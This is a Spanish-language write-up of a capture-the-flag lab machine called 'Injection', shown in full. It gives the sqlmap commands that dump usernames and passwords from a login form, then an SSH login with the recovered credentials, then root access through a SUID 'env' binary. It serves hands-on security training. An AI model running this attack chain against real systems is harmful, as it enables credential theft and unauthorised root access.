WriteUps Injection

22 May 2024
4 minutos

Progreso del WriteUp#

Reconocimiento inicial#

El primer paso consiste en iniciar la máquina. Esto se puede lograr ejecutando el siguiente comando, una vez que se haya descargado la máquina:

BASH
1
sudo bash auto_deploy.sh injection.tar

Una vez iniciada la máquina, el script de despliegue me proporciona la dirección IP de la máquina, por lo que procedo a realizar un escaneo de puertos para identificar los servicios disponibles:

BASH
1
nmap 172.17.0.2

El resultado del escaneo de puertos fue:

BASH
1
2
3
4
5
6
7
8
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-22 15:28 EDT
Nmap scan report for 172.17.0.2
Host is up (0.0000060s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:42:AC:11:00:02 (Unknown)

Resultado: El escaneo de puertos reveló dos servicios importantes:

  • Puerto 22: Servicio SSH abierto.
  • Puerto 80: Servicio HTTP abierto.

Análisis del servicio#

Al visitar la página en el puerto 80, me encontré con una pantalla de inicio de sesión que requería un User y un Password. Al revisar el código fuente, no encontré nada relevante. Aplicando la misma lógica que en máquinas anteriores, el nombre “Injection” sugería la posibilidad de una vulnerabilidad de inyección SQL. Decidí probar la herramienta SQLmap, como enseña mi buen amigo El Pingüino de Mario en la Academia de Ciberseguridad y Hacking Ético:

BASH
1
sqlmap -u http://172.17.0.2 --forms --dbs --batch

Resultado: El comando me mostró las bases de datos disponibles en el sistema:

BASH
1
2
3
4
5
6
7
[INFO] back-end DBMS: MySQL
Available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] register
[*] sys

Con esta información, sabía que la base de datos register podría contener datos útiles. Utilicé SQLmap nuevamente para obtener las tablas:

BASH
1
sqlmap -u http://172.17.0.2 --forms -D register --tables --batch

Dentro de register, encontré una tabla llamada users. Luego, extraje las columnas:

BASH
1
sqlmap -u http://172.17.0.2 --forms -D register -T users --columns --batch

Finalmente, obtuve los datos de username y passwd con:

BASH
1
sqlmap -u http://172.17.0.2 --forms -D register -T users -C passwd,username --dump --batch

Resultado: Con este proceso, obtuve un usuario y contraseña válidos para acceder al formulario web.

dylanInjection.png

Nota: Si deseas aprender más sobre inyecciones SQL o el uso de SQLmap, te invito a visitar la Academia de Ciberseguridad y Hacking Ético.

Acceso por SSH#

Usando las credenciales obtenidas, logré acceder por SSH a la máquina como el usuario dylan:

BASH
1
ssh dylan@172.17.0.2

Al intentar ejecutar sudo -l, obtuve el siguiente mensaje:

BASH
1
-bash: sudo: command not found

Pasé a revisar el directorio /var/www/html en busca de archivos interesantes, pero no encontré nada relevante. Entonces decidí buscar archivos con permisos SUID con el siguiente comando:

BASH
1
find / -perm -4000 -ls 2>/dev/null

Resultado: Encontré varios binarios con el bit SUID activado, entre ellos /usr/bin/env.

Escalada de privilegios#

Consultando GTFOBins, encontré que podía aprovechar el binario env con permisos SUID para escalar privilegios. Ejecuté el siguiente comando para obtener una shell como root:

BASH
1
/usr/bin/env /bin/sh -p

Aprendizaje#

La máquina Injection me permitió practicar habilidades de reconocimiento, Explotación mediante inyección SQL, y elevación de privilegios utilizando binarios con SUID. Este WriteUp refuerza la importancia de revisar configuraciones inapropiadas y aprovechar las herramientas disponibles para escalar privilegios en un sistema vulnerable.

Comandos#

  1. Despliegue de la máquina:
    BASH
    1
    sudo bash auto_deploy.sh injection.tar
    
  2. Escaneo de puertos:
    BASH
    1
    nmap 172.17.0.2
    
  3. Inyección SQL para obtener bases de datos:
    BASH
    1
    sqlmap -u http://172.17.0.2 --forms --dbs --batch
    
  4. Obtener tablas de la base de datos register:
    BASH
    1
    sqlmap -u http://172.17.0.2 --forms -D register --tables --batch
    
  5. Obtener columnas de la tabla users:
    BASH
    1
    sqlmap -u http://172.17.0.2 --forms -D register -T users --columns --batch
    
  6. Obtener credenciales de users:
    BASH
    1
    sqlmap -u http://172.17.0.2 --forms -D register -T users -C passwd,username --dump --batch
    
  7. Buscar archivos con permisos SUID:
    BASH
    1
    find / -perm -4000 -ls 2>/dev/null
    
  8. Escalada de privilegios con env:
    BASH
    1
    /usr/bin/env /bin/sh -p